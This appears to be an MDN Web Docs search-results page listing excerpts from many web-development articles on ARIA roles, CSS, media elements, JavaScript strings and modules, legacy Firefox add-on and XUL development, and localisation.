the value must be one of the keyboardevent.key values which represent modifier keys, or the string "accel" .
... modifier keys on internet explorer ie9 uses "scroll" for "scrolllock" and "win" for "os".
... windows linux (gtk) mac android 2.3 android 3.0 or latter "alt" either alt key or altgr key pressed alt key pressed ⌥ option key pressed alt key or option key pressed "altgraph" both alt and ctrl keys are pressed, or altgr key is pressed level 3 shift key (or level 5 shift key ) pressed ⌥ option key pressed not supported "capslock" during led for ⇪ caps lock turned on not supported while capslock is locked "control" either ctrl key or altgr key pressed ctrl key pressed control key pressed menu key pressed.
...And 14 more matches
ARIA: cell role - Accessibility
<div role="row"> <span role="cell">france</span> <span role="cell">67 million</span> </div> a better, more semantic way of writing the cells above would be to use the semantic <td> element.
... <tr role="row"> <td role="cell">france</td> <td role="cell">67 million</td> </tr> description the element with role="cell" is a cell within a row, optionally within a rowgroup, within a grid, table or treegrid within a static tabular structure.
... each element with role="cell" must be nested in a container element with role="row".
...And 14 more matches
ARIA: grid role - Accessibility
<table role="grid" aria-labelledby="id-select-your-seat"> <caption id="id-select-your-seat">select your seat</caption> <tbody role="presentation"> <tr role="presentation"> <td></td> <th>row a</th> <th>row b</th> </tr> <tr> <th scope="row">aisle 1</th> <td tabindex="0"> <button id="1a" tabindex="-1">1a</button> </td> <td tabindex="-1"> <button id="1b" tabindex="-1">1b</button> </td> <!-- more columns --> </tr> <tr> <th scope="row">aisle 2</th> <td tabindex="-1"> <button id="2a" tabindex="-1">2a</button> </td> <td ta...
...bindex="-1"> <button id="2b" tabindex="-1">2b</button> </td> <!-- more columns --> </tr> </tbody> </table> description a grid widget contains one or more rows with one or more cells of thematically related interactive content.
... examples calendar example html <table role="grid" aria-labelledby="calendarheader" aria-readonly=true> <caption id="calendarheader">september 2018</caption> <thead role="rowgroup"> <tr role="row"> <td></td> <th role="columnheader" aria-label="sunday">s</th> <th role="columnheader" aria-label="monday">m</th> <th role="columnheader" aria-label="tuesday">t</th> <th role="columnheader" aria-label="wednesday...
...And 14 more matches
JavaScript modules - JavaScript
full support 10.3samsung internet android full support 8.0nodejs full support 13.2.0notes full support 13.2.0notes notes modules must either have a filename ending in .mjs, or the nearest parent package.json file must contain "type": "module".
... full support 12.0.0notes disabled notes modules must either have a filename ending in .mjs, or the nearest parent package.json file must contain "type": "module".
... full support 10.3samsung internet android full support 8.0nodejs full support 13.2.0notes full support 13.2.0notes notes modules must either have a filename ending in .mjs, or the nearest parent package.json file must contain "type": "module".
...And 14 more matches
cfx to jpm - Archive of obsolete content
you can edit this file to create your own id, but if you don't, cfx will generate one for you, which will look something like "jid1-f3boogbjqje67a".
... add-on ids need to be one of two types: a guid or a string that includes an "@" symbol.
... the sdk expects the latter format, and if the id in package.json doesn't contain "@", then cfx xpi will append "@jetpack" to the package.json field, and make that the add-on id.
...And 13 more matches
Block and Line Layout Cheat Sheet - Archive of obsolete content
the details of block and line layout are tricky; this document serves as a "cheat sheet" that describes how the vagary of different state flags control what's going on.
...these flags can be grouped into two categories: flags which affect all frames ("public" flags), and flags that are reserved for an individual frame's private use ("private" flags).
...(what is a frame's "bounding box"?) if this flag is set, then <code>moverflowarea</code> will contain the total area of the frame, including the overflow.
...And 13 more matches
The First Install Problem - Archive of obsolete content
"path" -- string value -- this would be the absolute path to the plugin module.
...(note that the file name must still begin with "np", just as it must when the file is loaded from the .\plugins directory.) example: [hkey_local_machine\software\mozillaplugins\@mycompany.com/myapplication,version=5.01] path=c:\mycompany\myapplication\netscape\npmyapp.dll "xptpath" -- string value -- absolute path to xpt module required for scripting plug-in, if applicable example: [hkey_local_machine\software\mozillaplugins\@mycompany.com/myapplication,version=5.01] xptpath=c:\mycompany\myapplication\netscape\npmyapp.xpt "geckoversion" -- this is the optional mention of the minimal gecko version that the browser is compatible with.
... "productname" -- this is the string value name of the actual product.
...And 13 more matches
Introduction to CSS layout - Learn web development
flexbox example 1 * {box-sizing: border-box;} .wrapper > div { border-radius: 5px; background-color: rgb(207,232,220); padding: 1em; } .wrapper { display: flex; } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> </div> in addition to the above properties that can be applied to the flex container, there are properties that can be applied to the flex items.
... flexbox example 2 * {box-sizing: border-box;} .wrapper > div { border-radius: 5px; background-color: rgb(207,232,220); padding: 1em; } .wrapper { display: flex; } .wrapper > div { flex: 1; } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> </div> note: this has been a very short introduction to what is possible in flexbox, to find out more, see our flexbox article.
... grid example 1 * {box-sizing: border-box;} .wrapper > div { border-radius: 5px; background-color: rgb(207,232,220); padding: 1em; } .wrapper { display: grid; grid-template-columns: 1fr 1fr 1fr; grid-template-rows: 100px 100px; grid-gap: 10px; } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div class="box4">four</div> <div class="box5">five</div> <div class="box6">six</div> </div> once you have a grid, you can explicitly place your items on it, rather than relying on the auto-placement behavior seen above.
...And 13 more matches
Images in HTML - Learn web development
so for example, if your image is called dinosaur.jpg, and it sits in the same directory as your html page, you could embed the image like so: <img src="dinosaur.jpg"> if the image was in an images subdirectory, which was inside the same directory as the html page (which google recommends for seo/indexing purposes), then you'd embed it like this: <img src="images/dinosaur.jpg"> and so on.
... you could embed the image using its absolute url, for example: <img src="https://www.example.com/images/dinosaur.jpg"> but this is pointless, as it just makes the browser do more work, looking up the ip address from the dns server all over again, etc.
...this is called "hotlinking".
...And 13 more matches
IPDL Tutorial
ipdl, short for "inter-process-communication protocol definition language", is a mozilla-specific language allowing c++ code to pass messages between processes or threads in an organized and secure way.
... */ bool recvready() = 0; }; class ppluginchild { protected: bool recvinit(const nscstring& pluginpath) = 0; bool recvshutdown() = 0; public: bool sendready() { // generated code to send a ready() message } }; these parent and child abstract classes take care of all the "protocol layer" concerns: serializing data, sending and receiving messages, and checking protocol safety.
... class pluginparent : public ppluginparent { public: pluginparent(const nscstring& pluginpath) { // launch child plugin process sendinit(pluginpath); } ~pluginparent() { sendshutdown(); } protected: bool recvready() { mobservers.notify("ready for action"); } }; here's how the ppluginchild might be used by a c++ implementor in the plugin process: class pluginchild : public ppluginchild { protected: void recvinit(const nscstring& pluginpath) { mpluginlibrary = pr_loadlibrary(pluginpath.get()); sendready(); } void recvshutdown() { pr_unloadlibrary(mpluginlibrary); } private: prlibrary* mpluginlibrary; }; ...
...And 13 more matches
Application Translation with Mercurial
"de" for german).
... in the section "applications & sign-offs", you will find different products and branches which are currently in translation.
...by pressing the windows key and r on the keyboard or by calling the "run..." command from the windows "start" button, and then typing cmd and pressing the enter key.
...And 13 more matches
Bootstrapping a new locale
hg allows localizers to work locally on their machines and then "push" changes to their official mozilla repository.
... you will need to "hg clone" the existing release branch for mozilla so you have all the files locally for you to begin localization.
... (you should "cd" to the directory before beginning.) in the terminal, type the following command: $ hg clone http://hg.mozilla.org/releases/mozilla-x.x.x/ where "x.x.x" is the existing release branch version.
...And 13 more matches
Setting up CDT to work on SpiderMonkey
luckily, improvements in cdt have reduced the basic process to manageable five steps: download and extract "eclipse ide for c/c++ developers" from the eclipse downloads page.
... select "new > makefile project with existing code" from the "file" menu.
... give the project a name that you like ("spidermonkey" has a nice ring to it) and use the "browser…" button to select your checkout's js/src folder for the "existing code location".
...And 13 more matches
Building the WebLock UI
as you can see, weblock is initialized as a global javascript variable, available in the scope of these functions and others: var weblock = components.classes["@dougt/weblock"] .getservice() .queryinterface(components.interfaces.iweblock); in addition to this basic setup, you must also write javascript that uses the addsite method to add new sites to the white list.
...in this tutorial, focusing as it is on the weblock functionality (rather than the ui), we'll assume the strings we get from the ui itself are urls we actually want to write to the white list: function addthissite() { var tf = document.getelementbyid("dialog.input"); // weblock is global and declared above weblock.addsite(tf.value); } this javascript function can be called directly from the xul widget, where the input string is retrieved as the value property of the textbox element.
...that function uses the opendialog method from the window object and takes the url to the xul file in which the dialog is defined: function loadweblock() { window.opendialog("chrome://weblock/weblock.xul"); } xul the entire user interface of the mozilla browser and all of the applications that go with it, including the mail client, the irc client, and others, have been defined in an xml language called xul.
...And 13 more matches
nsICryptoHash
note: this method may be called any time after " ..
... manch("init") ..
... " is called.
...And 13 more matches
Working with data
example: creating an array of strings var cstr1 = ctypes.jschar.array()('rawr'); var cstr2 = ctypes.jschar.array()('boo'); var mycarray_ofstrings = ctypes.jschar.ptr.array(2)([cstr1, cstr2]); // specifying length of 2 is optional, can omit it, so can just do `ctypes.jschar.ptr.array()([cstr1, cstr2])` mycarray_ofstrings.addressofelement(0).contents.readstring(); // outputs: "rawr" mycarray_ofstrings.addressofelement(1).contents.readstring(); // outputs: "boo" example: creating an array of integers var jsarr = [4, 10]; var mycarr = ctypes.int.array(jsarr.length)(jsarr); // specifying length is optional, can omit.
... // lets create an array of long's var my = ctypes.long.array()([1, 2, 3, 4]); my.tostring(); // this outputs to browser console: `"ctypes.long.array(4)([ctypes.int64("1"), ctypes.int64("2"), ctypes.int64("3"), ctypes.int64("4")])"` my.addressofelement(1).contents; // this outputs `int64 { }` my.addressofelement(1).contents.tostring(); // outputs: `"2"` // now this is how to get the array of long's cast to array of int's var mycasted = ctypes.cast(my.address(), ctypes.int.array(my.length).ptr).contents; mycasted.tostring(); ...
...// this outputs to browser console: `"ctypes.int.array(4)([1, 2, 3, 4])"` mycasted.addressofelement(1).contents; // this outputs `2` mycasted.addressofelement(1).contents.tostring(); // outputs: `"2"` source of this, and to see wrong ways of casting, and explanation on why this is the right way to cast an array (explained by matching constructor's) see here: githubgist :: _ff-addon-tutorial-jsctypes_castingarrays data and pointers a cdata object represents a c value in memory.
...And 13 more matches
Capabilities, constraints, and settings - Web APIs
determining if a constraint is supported if you need to know whether or not a given constriant is supported by the user agent, you can find out by calling navigator.mediadevices.getsupportedconstraints() to get a list of the constrainable properties which the browser knows, like this: let supported = navigator.mediadevices.getsupportedconstraints(); document.getelementbyid("framerateslider").disabled = !supported["framerate"]; in this example, the supported constraints are fetched, and a control that lets the user configure the frame rate is disabled if the framerate constraint isn't supported.
... let supports = navigator.mediadevices.getsupportedconstraints(); if (!supports["width"] || !supports["height"] || !supports["framerate"] || !supports["facingmode"]) { // we're missing needed properties, so handle that error.
... } else { let constraints = { width: { min: 640, ideal: 1920, max: 1920 }, height: { min: 400, ideal: 1080 }, aspectratio: 1.777777778, framerate: { max: 30 }, facingmode: { exact: "user" } }; mytrack.applyconstraints(constraints).then(function() => { /* do stuff if constraints applied successfully */ }).catch(function(reason) { /* failed to apply constraints; reason is why */ }); } here, after ensuring that the constrainable properties for which matches must be found are supported (width, height, framerate, and facingmode), we set up constraints which request a width no smaller than 640 and no larger than 1920 (but preferably 1920), a height no smaller than 400 (but ideally 1080), an aspect ratio of 16:9 (1.777777778), and a frame rate no greater th...
...And 13 more matches
RTCIceTransportState - Web APIs
values "new" the rtcicetransport is currently gathering local candidates, or is waiting for the remote device to begin to transmit the remote candidates, or both.
... "checking" at least one remote candidate has been received, and the rtcicetransport has begun examining pairings of remote and local candidates in order to attempt to identify viable pairs that could be used to establish a connection.
... "connected" a viable candidate pair has been found and selected, and the rtcicetransport has connected the two peers together using that pair.
...And 13 more matches
Touch events - Web APIs
note: the text below uses the term "finger" when describing the contact with the surface, but it could, of course, also be a stylus or other contact method.
... create a canvas <canvas id="canvas" width="600" height="600" style="border:solid black 1px;"> your browser does not support canvas element.
... </canvas> <br> log: <pre id="log" style="border: 1px solid #ccc;"></pre> setting up the event handlers when the page loads, the startup() function shown below will be called.
...And 13 more matches
Web Video Text Tracks Format (WebVTT) - Web APIs
the string "webvtt".
... you may use anything in the text header except newlines or the string "-->".
... on the same line, we then have a string of "-->".
...And 13 more matches
Movement, orientation, and motion: A WebXR example - Web APIs
the code looks like this: const xrotationdegreespersecond = 25; const yrotationdegreespersecond = 15; const zrotationdegreespersecond = 35; const enablerotation = true; const allowmouserotation = true; const allowkeyboardmotion = true; const enableforcepolyfill = false; //const session_type = "immersive-vr"; const session_type = "inline"; const mouse_speed = 0.003; xrotationdegreespersecond the number of degrees of rotation to apply around the x axis per second.
... window.addeventlistener("load", onload); function onload() { xrbutton = document.queryselector("#enter-xr"); xrbutton.addeventlistener("click", onxrbuttonclick); projectionmatrixout = document.queryselector("#projection-matrix div"); modelmatrixout = document.queryselector("#model-view-matrix div"); cameramatrixout = document.queryselector("#camera-matrix div"); mousematrixout = document.queryselector("#mous...
...e-matrix div"); if (!navigator.xr || enableforcepolyfill) { console.log("using the polyfill"); polyfill = new webxrpolyfill(); } setupxrbutton(); } the load event handler gets a reference to the button that toggles webxr on and off into xrbutton, then adds a handler for click events.
...And 13 more matches
<blend-mode> - CSS: Cascading Style Sheets
<div id="div"></div> #div { width: 300px; height: 300px; background: url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: normal; } multiply the final color is the result of multiplying the top and bottom colors.
... <div id="div"></div> #div { width: 300px; height: 300px; background: url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: multiply; } screen the final color is the result of inverting the colors, multiplying them, and inverting that value.
... <div id="div"></div> #div { width: 300px; height: 300px; background: url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: screen; } overlay the final color is the result of multiply if the bottom color is darker, or screen if the bottom color is lighter.
...And 13 more matches
font-family - CSS: Cascading Style Sheets
syntax /* a font family name and a generic family name */ font-family: gill sans extrabold, sans-serif; font-family: "goudy bookletter 1911", sans-serif; /* a generic family name only */ font-family: serif; font-family: sans-serif; font-family: monospace; font-family: cursive; font-family: fantasy; font-family: system-ui; font-family: ui-serif; font-family: ui-sans-serif; font-family: ui-monospace; font-family: ui-rounded; font-family: emoji; font-family: math; font-family: fangsong; /* global values */ font-fa...
...for example, "times" and "helvetica" are font families.
...lucida bright, lucida fax, palatino, "palatino linotype", palladio, "urw palladio", serif.
...And 13 more matches
Audio and Video Delivery - Developer guides
html audio <audio controls preload="auto"> <source src="audiofile.mp3" type="audio/mpeg"> <!-- fallback for browsers that don't support mp3 --> <source src="audiofile.ogg" type="audio/ogg"> <!-- fallback for browsers that don't support audio tag --> <a href="audiofile.mp3">download audio</a> </audio> the code above will create an audio player that attempts to preload as much audio as possible for smooth playback.
... for further info see cross browser audio basics (html5 audio in detail) html video <video controls width="640" height="480" poster="initialimage.png" autoplay muted> <source src="videofile.mp4" type="video/mp4"> <!-- fallback for browsers that don't support mp4 --> <source src="videofile.webm" type="video/webm"> <!-- specifying subtitle files --> <track src="subtitles_en.vtt" kind="subtitles" srclang="en" label="english"> <track src="subtitles_no.vtt" kind="subtitles" srclang="no" label="norwegian"> <!-- fallback for browsers that don't support video tag --> <a href="videofile.mp4">download video</a> </video> the code above creates a video player of dimensions 640x480 pixels, displaying a poster i...
... <audio controls> <source src="audiofile.mp3" type="audio/mpeg"> <source src="audiofile.ogg" type="audio/ogg"> <!-- fallback for non supporting browsers goes here --> <a href="audiofile.mp3">download audio</a> <object width="320" height="30" type="application/x-shockwave-flash" data="flashmediaelement.swf"> <param name="movie" value="flashmediaelement.swf" /> <param name="flashvars" value="controls=true&isvideo=...
...And 13 more matches
<a>: The Anchor element - HTML: Hypertext Markup Language
WebHTMLElementa
_top: the topmost browsing context (the "highest" context that’s an ancestor of the current one).
... note: when using target, add rel="noreferrer noopener" to avoid exploitation of the window.opener api; note: in newer browser versions (e.g.
... firefox 79+) setting target="_blank" on <a> elements implicitly provides the same rel behavior as setting rel="noopener".
...And 13 more matches
JSON.parse() - JavaScript
polyfill // from https://github.com/douglascrockford/json-js/blob/master/json2.js if (typeof json.parse !== "function") { var rx_one = /^[\],:{}\s]*$/; var rx_two = /\\(?:["\\\/bfnrt]|u[0-9a-fa-f]{4})/g; var rx_three = /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[ee][+\-]?\d+)?/g; var rx_four = /(?:^|:|,)(?:\s*\[)+/g; var rx_dangerous = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g; json.parse = function(text, reviv...
... var k; var v; var value = holder[key]; if (value && typeof value === "object") { for (k in value) { if (object.prototype.hasownproperty.call(value, k)) { v = walk(value, k); if (v !== undefined) { value[k] = v; } else { delete value[k]; } } } ...
... text = string(text); rx_dangerous.lastindex = 0; if (rx_dangerous.test(text)) { text = text.replace(rx_dangerous, function(a) { return ( "\\u" + ("0000" + a.charcodeat(0).tostring(16)).slice(-4) ); }); } // in the second stage, we run the text against regular expressions that look // for non-json patterns.
...And 13 more matches
SVG and CSS - SVG: Scalable Vector Graphics
copy and paste the content from here, making sure that you scroll to get all of it: <svg width="600px" height="600px" viewbox="-300 -300 600 600" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <title>svg demonstration</title> <desc>mozilla css getting started - svg demonstration</desc> <defs> <radialgradient id="fade" cx="0" cy="0" r="200" gradientunits="userspaceonuse"> <stop id="fade-stop-1" offset="33%"/> <stop id="fade-s...
...top-2" offset="95%"/> </radialgradient> </defs> <text id="heading" x="-280" y="-270">svg demonstration</text> <text id="caption" x="-280" y="-250">move your mouse pointer over the flower.</text> <g id="flower"> <circle id="overlay" cx="0" cy="0" r="200" stroke="none" fill="url(#fade)"/> <g id="outer-petals"> <g class="quadrant"> <g class="segment"> <path class="segment-fill" d="m0,0 v-200 a40,40 0 0,0 -62,10 z"/> <path class="segment-edge" d="m0,-200 a40,40 0 0,0 -62,10"/> </g> <g class="segment" transform="rotate(18)"> <path class="segment-fill" d="m0,0 v-200 a40,40 0 0,0 -62,10 z"/> <path class="segment-edge" d="m0,-200 a40,40 0 0,0 -62,10"/> </g> <g class="segment" transform="rot...
...ate(36)"> <path class="segment-fill" d="m0,0 v-200 a40,40 0 0,0 -62,10 z"/> <path class="segment-edge" d="m0,-200 a40,40 0 0,0 -62,10"/> </g> <g class="segment" transform="rotate(54)"> <path class="segment-fill" d="m0,0 v-200 a40,40 0 0,0 -62,10 z"/> <path class="segment-edge" d="m0,-200 a40,40 0 0,0 -62,10"/> </g> <g class="segment" transform="rotate(72)"> <path class="segment-fill" d="m0,0 v-200 a40,40 0 0,0 -62,10 z"/> <path class="segment-edge" d="m0,-200 a40,40 0 0,0 -62,10"/> </g> </g> <g class="quadrant"> <g class="segment" transform="rotate(90)"> <path class="segment-fill" d="m0,0 v-200 a40,40 0 0,0 -62,10 z"/> <path class="segment-edge" d="m0,...
...And 13 more matches
page-worker - Archive of obsolete content
this can point to a remote file: pageworker = require("sdk/page-worker").page({ contentscript: "console.log(document.body.innerhtml);", contenturl: "http://en.wikipedia.org/wiki/internet" }); it can also point to an html file which you've packaged with your add-on.
... to do this, save the file in your add-on's data directory and create the url using the data.url() method of the self module: pageworker = require("sdk/page-worker").page({ contentscript: "console.log(document.body.innerhtml);", contenturl: require("sdk/self").data.url("myfile.html") }); from firefox 34, you can use "./myfile.html" as an alias for self.data.url("myfile.html").
... so you can rewrite the above code like this: pageworker = require("sdk/page-worker").page({ contentscript: "console.log(document.body.innerhtml);", contenturl: "./myfile.html" }); you can load a new page by setting the page worker's contenturl property.
...And 12 more matches
ui/toolbar - Archive of obsolete content
you can supply three sorts of ui components: action buttons toggle buttons frames this add-on builds part of the user interface for a music player using action buttons for the controls and a frame to display art and the currently playing song: var { actionbutton } = require('sdk/ui/button/action'); var { toolbar } = require("sdk/ui/toolbar"); var { frame } = require("sdk/ui/frame"); var previous = actionbutton({ id: "previous", label: "previous", icon: "./icons/previous.png" }); var next = actionbutton({ id: "next", label: "next", icon: "./icons/next.png" }); var play = actionbutton({ id: "play", label: "play", icon: "./icons/play.png" }); var frame = new frame({ url: "./frame-player.html" }); ...
... var toolbar = toolbar({ title: "player", items: [previous, next, play, frame] }); the toolbar appears just above the content window: to destroy a toolbar call its destroy() method.
...toolbars get a close button at the right-hand side, and users can show or hide the toolbar using the firefox "view/toolbars" menu, alongside built-in toolbars like the bookmarks toolbar.
...And 12 more matches
Handling Preferences - Archive of obsolete content
to open the preferences window in firefox, select the following from the main menu: on windows, tools > options on mac, firefox > preferences on linux, edit > preferences note: keep in mind the usage of the terms "preferences" and "options" in different platforms.
... if you need to refer to the term "preference" in any of your locale files, you must change the string depending on the operating system.
...to access all other preferences, enter "about:config" into the location bar.
...And 12 more matches
Mozilla Crypto FAQ - Archive of obsolete content
encryption export regulations published on january 14, 2000, the release on february 11, 2000, of source code for ssl, s/mime, and general pki functionality for use in the mozilla project, and the "bernstein advisory" issued by the bureau of export administration on february 17, 2000.
...export of source code for open source software is addressed in part 740 (pdf), section 740.13(e), "unrestricted encryption source code"; export of binaries is addressed in 740.17.
...also see the documents "into the black box: a case study in obtaining visibility into commercial software", "netscape certificate database information", and "netscape communicator key database format", the results of independent attempts to describe the format of the netscape communicator 4.x key and certificate database (with which the psm key and certificate database format is compatible).
...And 12 more matches
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
it is one very long line ending in path—make sure that you get all of it: components.classes["@mozilla.org/file/directory_service;1"].getservice( components.interfaces.nsiproperties).get("achrom", components.interfaces.nsifile).path in the javascript console window, paste the code in the field near the top.
...paste it into the new file: <?xml version="1.0" encoding="utf-8"?> <!doctype rdf:rdf> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <rdf:seq rdf:about="urn:mozilla:package:root"> <rdf:li rdf:resource="urn:mozilla:package:custombutton"/> </rdf:seq> <rdf:description rdf:about="urn:mozilla:package:custombutton" chrome:displayname="custom button...
..." chrome:description="my custom toolbar button" chrome:author="my name" chrome:name="custombutton" chrome:localeversion="1.8" chrome:skinversion="1.5" chrome:extension="true"/> <rdf:seq about="urn:mozilla:overlays"> <!-- browser --> <rdf:li> <rdf:seq about="chrome://navigator/content/navigator.xul"> <rdf:li>chrome://custombutton/content/button.xul</rdf:li> </rdf:seq> </rdf:li> <!-- address book --> <rdf:li> <rdf:seq about="chrome://messenger/content/addressbook/addressbook.xul"> <rdf:li>chrome://custombutton/content/button.xul</rdf:li> </rdf:seq> </rdf:li> <!-- message --> <rdf:li> <rdf:seq about="chrome://messenger/content/messagewindow.xul"> <rdf:li>chrome://custombutton/co...
...And 12 more matches
Using Remote XUL - Archive of obsolete content
the remote xul manager extension lets you manage this whitelist, which is maintained using nsipermissionmanager, by creating entries of type "allowxulxbl", like this: components.classes["@mozilla.org/permissionmanager;1"] .getservice(components.interfaces.nsipermissionmanager) .add(uri, 'allowxulxbl', components.interfaces.nsipermissionmanager.allow_action); xul (pronounced like "zool"), which is short for xml-based user interface language, is an xml-based language for describing application interfaces.
... <?php header('content-type: application/vnd.mozilla.xul+xml'); ?> <!-- xul markup starts here --> note that you don't need a web server for this tutorial; you can load the document you create on your computer via a "file" url or the "open file" function of your browser.
... <?xml version="1.0"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" /> a xul document requires only two entities to be valid, an xml processing instruction on the first line that identifies the file as xml, and a window element that defines a xul application window (or in this case web page).
...And 12 more matches
Debugging a XULRunner Application - Archive of obsolete content
/* debugging prefs */ pref("browser.dom.window.dump.enabled", true); pref("javascript.options.showinconsole", true); pref("javascript.options.strict", true); pref("nglayout.debug.disable_xul_cache", true); pref("nglayout.debug.disable_xul_fastload", true); don't forget to change these preferences back to their defaults when you've finished debugging; leaving them as-is can significantly harm performance and usability.
...xulrunner.exe /path/to/application.ini -console to output text to the console, use dump("my text here\n");.
... this will only work if the pref pref("browser.dom.window.dump.enabled", true) is enabled.
...And 12 more matches
Extentsions FAQ - Archive of obsolete content
option #3 install status buttons 1.0 <https://addons.mozilla.org/firefox/1272/> "lets you put toolbar buttons at either end of the status-bar.
... just drag them there from the toolbar customisation window, like you would when adding buttons to the toolbars." option #4 install toolbar control <http://webdesigns.ms11.net/chromeditp.html> asking for help with getting an extension to process windows messages.
... var newnode = document.createelement(" ...
...And 12 more matches
Common Firefox theme issues and solutions - Archive of obsolete content
it is a companion document to the amo editors guide common theme problems, which provides editors with "boilerplate" copy and paste review notes for common theme issues.
... @media all and (-moz-windows-compositor) { /* make transition to fullscreen mode seamlessly in firefox 10+ */ #main-window[infullscreen="true"] { -moz-appearance: none; background-color: -moz-dialog!important; } } for more information about this issue please see bug 732757 and bug 732757 and this mozillazine thread.
...the common cause of this is style rules that reference [iconsize="small"] without excluding [mode="text"].
...And 12 more matches
Basic native form controls - Learn web development
the value text for this attribute is also the fallback value if the value you specify for the type attribute is unknown by the browser (for example if you specify type="color" and the browser doesn't support native color pickers).
... here is a basic single line text field example: <input type="text" id="comment" name="comment" value="i'm a text field"> single line text fields have only one true constraint: if you type text with line breaks, the browser removes those line breaks before sending the data to the server.
... password field one of the original input types was the password text field type: <input type="password" id="pwd" name="pwd"> the password value doesn't add any special constraints to the entered text, but it does obscure the value entered into the field (e.g.
...And 12 more matches
Styling web forms - Learn web development
type text, url, email...), except for <input type="search">.
... multi-line <textarea>s buttons (both <input> and <button>s) <label> <output> the bad some elements are more difficult to style, requiring more complex css or some more specific tricks: checkboxes and radio buttons <input type="search"> we describe how to handle these more specific features in the article advanced form styling.
...these include: <input type="color"> date-related controls such as <input type="datetime-local"> <input type="range"> <input type="file"> elements involved in creating dropdown widgets, including <select>, <option>, <optgroup> and <datalist>.
...And 12 more matches
Video and audio content - Learn web development
a really simple example looks like this: <video src="rabbit320.webm" controls> <p>your browser doesn't support html5 video.
... here is a <a href="rabbit320.webm">link to the video</a> instead.</p> </video> the features of note are: src in the same way as for the <img> element, the src (source) attribute contains a path to the video you want to embed.
...an "mp3 file" is actually an mpeg-1 audio layer iii (mp3) audio track stored within an mpeg or mpeg-2 container.
...And 12 more matches
Useful string methods - Learn web development
try entering the following lines: let browsertype = 'mozilla'; browsertype.length; this should return the number 7, because "mozilla" is 7 characters long.
... to retrieve the last character of any string, we could use the following line, combining this technique with the length property we looked at above: browsertype[browsertype.length-1]; the length of "mozilla" is 7, but because the count starts at 0, the character position is 6; using length-1 gets us the last character.
... try this: browsertype.indexof('zilla'); this gives us a result of 2, because the substring "zilla" starts at position 2 (0, 1, 2 — so 3 characters in) inside "mozilla".
...And 12 more matches
What is JavaScript? - Learn web development
in this article we will look at javascript from a high level, answering questions such as "what is it?" and "what can you do with it?", and making sure you are comfortable with javascript's purpose.
... operations on pieces of text (known as "strings" in programming).
... in the above example we take the string "player 1: " and join it to the name variable to create the complete text label, e.g.
...And 12 more matches
React interactivity: Editing, filtering, conditional rendering - Learn web development
first, import usestate into the todo component like we did before with the app component, by updating the first import statement to this: import react, { usestate } from "react"; we'll now use this to set an isediting state, the default state of which should be false.
... add the following line just inside the top of your todo(props) { … } component definition: const [isediting, setediting] = usestate(false); next, we're going to rethink the <todo /> component — from now on, we want it to display one of two possible “templates", rather than the single template it's used so far: the "view" template, when we are just viewing a todo; this is what we’ve used in rest of the tutorial so far.
... the "editing" template, when we are editing a todo.
...And 12 more matches
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
todosstatus: displays the "x out of y items completed" status heading.
...put the following content into your moreactions.svelte file: <script> import { createeventdispatcher } from 'svelte' const dispatch = createeventdispatcher() let completed = true const checkall = () => { dispatch('checkall', completed) completed = !completed } const removecompleted = () => dispatch('removecompleted') </script> <div class="btn-group"> <button type="button" class="btn btn__primary" on:click={checkall}>{completed ?
... 'check' : 'uncheck'} all</button> <button type="button" class="btn btn__primary" on:click={removecompleted}>remove completed</button> </div> we've also included a completed variable to toggle between checking and unchecking all tasks.
...And 12 more matches
Package management basics - Learn web development
the package manager will provide a method to install new dependencies (also referred to as "packages"), manage where packages are stored on your file system, and offer capabilities for you to publish your own packages.
...type in something really simple, like "a simple npm package to learn about using npm", then press return.
...open it up and it should look something like this: { "name": "parcel-experiment", "version": "1.0.0", "description": "a simple npm package to learn about using npm", "main": "index.js", "scripts": { "test": "echo \"error: no test specified\" && exit 1" }, "author": "chris mills", "license": "isc" } so this is the config file that defines your package.
...And 12 more matches
Embedding API for Accessibility
be aware that in debug builds, this can cause a great number of assertions (bug 71598) to use prefs in embedding, use something like the following code: #include "nsipref.h"; nsresult rv; nscomptr<nsipref> prefs(do_getservice(ns_pref_contractid, &rv)); prefs->setboolpref("bool.pref.name", pr_true /* or pr_false */); prefs->setintpref("int.pref.name", newvalue); prefs->setcharpref("string.pref.name", newcharstarvalue); to manually add a pref to your settings, add a line like the following to your prefs.js: user_pref("accessibility.browsewithcaret", tru...
...e); accessibility prefs reference the following is a description of what accessibility prefs give us (or will give us), for accessibility: functionality implementation works as of images setintpref("network.image.imagebehavior", behavior); /* behavior: 0=accept, 1=accept images from originating server only, 2=no images */ moz 0.8 cookies setintpref("network.cookie.cookiebehavior", behavior); /* behavior: 0=accept, 1=accept cookies from originating server only, 2=no cookies */ setboolpref("network.cookie.warnaboutcookies", boolwarn); ...
... moz 0.8 fonts setcharpref("font.name.monospace.x-western", newfontname); setcharpref("font.name.serif.x-western", newfontname); setcharpref("font.name.sans-serif.x-western", newfontname); /* for other i18n charsets, change x-western to x-central-euro, x-cyrillic, x-unicode, x-user-def, x-baltic, el, tr, he, ar, th, ja, zh-cn or zh-tw */ setintpref("font.size.fixed.x-western", newfontsize); setintpref("font.size.variable.x-western", newfontsize); /* for other i18n charsets, change the name as explained above for font face*/ setc...
...And 12 more matches
gettext
consider the following code snippet: <?php $num = 1; printf(ngettext("%d user likes this.", "%d users like this.", $num), $num); ?> depending on the value of the $num variable, this code will either use the singular ("user likes) or the plural ("users like") form of the string.
